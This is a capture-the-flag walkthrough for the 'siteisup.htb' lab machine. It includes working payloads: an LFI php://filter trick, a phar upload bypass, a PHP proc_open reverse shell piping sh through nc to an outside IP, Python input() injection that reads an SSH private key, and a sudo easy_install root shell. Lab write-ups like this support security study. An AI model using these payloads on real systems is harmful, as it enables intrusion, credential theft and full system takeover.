TL;DR
NETWORK
SCAN
ENUMERATION
Siteisup.htb
Quick test:
We have found a .git folder
Code review
wget -r http://siteisup.htb/dev/.git
Looks like we need to use a required header : Special-Dev “only4dev”
A firewall is in place to protect the lfi
60d2b32 354fe06
Dev.siteisup.htb
Headers modification
The dev site is inaccessible for us as we need to use a specific header “Special-Dev: only4dev” as seen in the code review
Let’s add the header automatically for all the requests
Now we have a full access to the dev site
Local File Inclusion (LFI)
Looking at the code we see a basic attempt to stop LFI using preg_match()
preg_match()
can be bypassed if the variable is an array like described here https://bugs.php.net/bug.php?id=69274 in our case, using this method will feed an array to the include()
function which will make the inclusion fail.
Instead, we can use “php://filter” to get the php files on the server
php://filter/convert.base64-encode/resource=index
Exploit upload
Looking into the upload, we can iterate through the extension
we can see the invalid extensions in the code
let’s use a list which
We have found a list of potential extensions with one promising one phar
using the following payload, with 1) being our our PHP code and a list of urls to be called by the code
The uploads are removed by the code when the list has been fully processed - netcat listeners slow the curl connections and give us enough time to check the uploads.
Here is our payload activated proving that we can run PHP on the server using the phar
extension
FOOTHOLD
Reverse shell
Unfortunately many of the classic PHP execution functions are disabled. Looking into the disabled functions we can see most of them being disabled
but luckily, we are allowed to use proc_open
, as seen on https://www.php.net/manual/en/function.proc-open.php
<?php
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error-output.txt", "a")
);
$process = proc_open('sh', $descriptorspec, $pipes, null, null);
if (is_resource($process)) {
fwrite($pipes[0], 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.49 1234 >/tmp/f');
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
$return_value = proc_close($process);
echo "command returned $return_value\n";
}
?>
and we get a reverse shell on the server as www-data
PRIV ESCALATION
Python command injection
looking into the SUIDs, we have found an interesting program
find / -perm -4000 -o -perm -2000 -type f 2>/dev/null
Somehow localhost is being user
Looking into the script loaded we can see there is not much sanitisation going on and the script is using input()
According to this article https://www.stackhawk.com/blog/command-injection-python/
in Python < 3 , the input()
function is equivalent to eval(raw_input)
using the following payload, we get user developer private key
__import__('os').system('cat /home/developer/.ssh/id_rsa')
SSH as Developer
Root session with easy_install
Looking into GTFobins for easy_install we have found some interesting candidates:
If the binary is allowed to run as superuser by sudo
, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo easy_install $TF